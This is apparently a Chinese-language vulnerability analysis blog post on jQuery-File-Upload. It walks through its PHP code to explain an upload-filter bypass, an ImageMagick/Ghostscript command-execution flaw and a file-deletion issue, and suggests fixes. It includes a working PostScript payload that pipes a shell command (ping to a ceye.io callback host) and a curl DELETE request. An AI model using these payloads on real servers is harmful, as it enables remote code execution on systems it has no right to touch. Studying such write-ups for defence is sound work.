前言:看了先知的https://xz.aliyun.com/t/3819文章之后,自己想試着分析下!
任意文件上傳漏洞影響的版本:
jQuery-File-Upload版本 < v9.22.1 and Apache > 2.3.9(默認不再支持.htaccess) or others
產生漏洞的代碼:
protected function handle_file_upload($uploaded_file, $name, $size, $type, $error,
$index = null, $content_range = null) {
$file = new \stdClass();
$file->name = $this->get_file_name($uploaded_file, $name, $size, $type, $error,
$index, $content_range);
$file->size = $this->fix_integer_overflow((int)$size);
$file->type = $type;
if ($this->validate($uploaded_file, $file, $error, $index)) {
$this->handle_form_data($file, $index);
$upload_dir = $this->get_upload_path();
if (!is_dir($upload_dir)) {
mkdir($upload_dir, $this->options['mkdir_mode'], true);
}
$file_path = $this->get_upload_path($file->name);
$append_file = $content_range && is_file($file_path) &&
$file->size > $this->get_file_size($file_path);
if ($uploaded_file && is_uploaded_file($uploaded_file)) {
// multipart/formdata uploads (POST method uploads)
if ($append_file) {
file_put_contents(
$file_path,
fopen($uploaded_file, 'r'),
FILE_APPEND
);
} else {
move_uploaded_file($uploaded_file, $file_path); // 進行上傳操作
}
} else {
// Non-multipart uploads (PUT method support)
file_put_contents(
$file_path,
fopen($this->options['input_stream'], 'r'),
$append_file ? FILE_APPEND : 0
);
}
$file_size = $this->get_file_size($file_path, $append_file);
if ($file_size === $file->size) {
$file->url = $this->get_download_url($file->name);
if ($this->is_valid_image_file($file_path)) {
$this->handle_image_file($file_path, $file);
}
} else {
$file->size = $file_size;
if (!$content_range && $this->options['discard_aborted_uploads']) {
unlink($file_path);
$file->error = $this->get_error_message('abort');
}
}
$this->set_additional_file_properties($file);
}
return $file;
}
一共經過如下四個步驟
主要看就是post
函數和handle_file_upload
函數
post函數中主要就是將上傳的文件用$_FILE
超全局變量來進行接收,然后把數組中相關參數放入到handle_file_upload
里面進行處理
這里stdClass
類,可以理解為節省資源,這里用來作為一個存儲上傳文件相關數據來使用的
get_file_name
進行了取文件名的后綴
進行驗證操作
重點來了,可以發現默認的正則是/.+$/i
,不對大小寫敏感,並且任意匹配一個或多個字符,所以可以直接繞過
if (!preg_match($this->options['accept_file_types'], $file->name)) {
$file->error = $this->get_error_message('accept_file_types');
return false;
}
來到這里,這里雖然有進行圖片后綴名的正則匹配,但是不會進行相應的措施
然后就進行了上傳文件move_uploaded_file
if ($uploaded_file && is_uploaded_file($uploaded_file)) { //2222
// multipart/formdata uploads (POST method uploads)
if ($append_file) {
file_put_contents(
$file_path,
fopen($uploaded_file, 'r'),
FILE_APPEND
);
} else {
move_uploaded_file($uploaded_file, $file_path);
}
} else {
// Non-multipart uploads (PUT method support)
file_put_contents(
$file_path,
fopen($this->options['input_stream'], 'r'),
$append_file ? FILE_APPEND : 0
);
}
修復建議:可以在正則的地方進行修改匹配,也可以在驗證是否是圖片的時候進行return
遠程命令執行漏洞:
jQuery-File-Upload版本 < v9.22.1,自己也只測試過9.22.0
get_image_size函數如下代碼:
protected function get_image_size($file_path) {
if ($this->options['image_library']) {
if (extension_loaded('imagick')) {
$image = new \Imagick();
try {
if (@$image->pingImage($file_path)) {
$dimensions = array($image->getImageWidth(), $image->getImageHeight());
$image->destroy();
return $dimensions;
}
return false;
} catch (\Exception $e) {
error_log($e->getMessage());
}
}
if ($this->options['image_library'] === 2) {
$cmd = $this->options['identify_bin'];
$cmd .= ' -ping '.escapeshellarg($file_path);
exec($cmd, $output, $error);
if (!$error && !empty($output)) {
// image.jpg JPEG 1920x1080 1920x1080+0+0 8-bit sRGB 465KB 0.000u 0:00.000
$infos = preg_split('/\s+/', substr($output[0], strlen($file_path)));
$dimensions = preg_split('/x/', $infos[2]);
return $dimensions;
}
return false;
}
}
if (!function_exists('getimagesize')) {
error_log('Function not found: getimagesize');
return false;
}
return @getimagesize($file_path);
}
可以看下調用的地方
在validate
中如下位置
具體的imagic如何觸發的遠程代碼執行我也不清楚,以后懂的話再填充上!
利用poc(如果沒有收到,記得考慮下是否是內網存在不出網的可能性):
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%ping magic.0wtpsg.ceye.io) currentdevice putdeviceprops
文件越權刪除漏洞
漏洞影響版本:自己測試了最新版本也存在~
可以看下,下面的代碼中$success = is_file($file_path) && $file_name[0] !== '.' && unlink($file_path);
,這里面如果我們的$file_path能夠進行控制的話,那么就能夠進行越權進行文件的刪除了
public function delete($print_response = true) {
$file_names = $this->get_file_names_params();
//var_dump($file_names);
if (empty($file_names)) { //返回為空,走下面流程
$file_names = array($this->get_file_name_param()); //$file_names 里面存放着$_GET['file']接收的內容
}
$response = array();
foreach ($file_names as $file_name) {
$file_path = $this->get_upload_path($file_name); //取當前文件的路徑
$success = is_file($file_path) && $file_name[0] !== '.' && unlink($file_path); //判斷當前文件是否為文件
// 並且判斷文件名是否以 點 開頭,例如.htaccess
if ($success) {
var_dump($this->options['image_versions']);
foreach ($this->options['image_versions'] as $version => $options) {
if (!empty($version)) {
$file = $this->get_upload_path($file_name, $version);
if (is_file($file)) {
unlink($file);
}
}
}
}
$response[$file_name] = $success;
}
return $this->generate_response($response, $print_response);
}
payload:curl -X DELETE "http://127.0.0.1/server/php/index.php?file=文件名
很遺憾這里的文件名不能可控,只能是當前的文件進行越權刪除來利用,原因是get_file_names_params
函數中調用的get_file_name_param
函數中的$this->basename(stripslashes($this->get_query_param($name)))
,對輸入的文件名進行了過濾操作,導致路徑不可控
protected function get_file_name_param() {
$name = $this->get_singular_param_name();
return $this->basename(stripslashes($this->get_query_param($name)));
}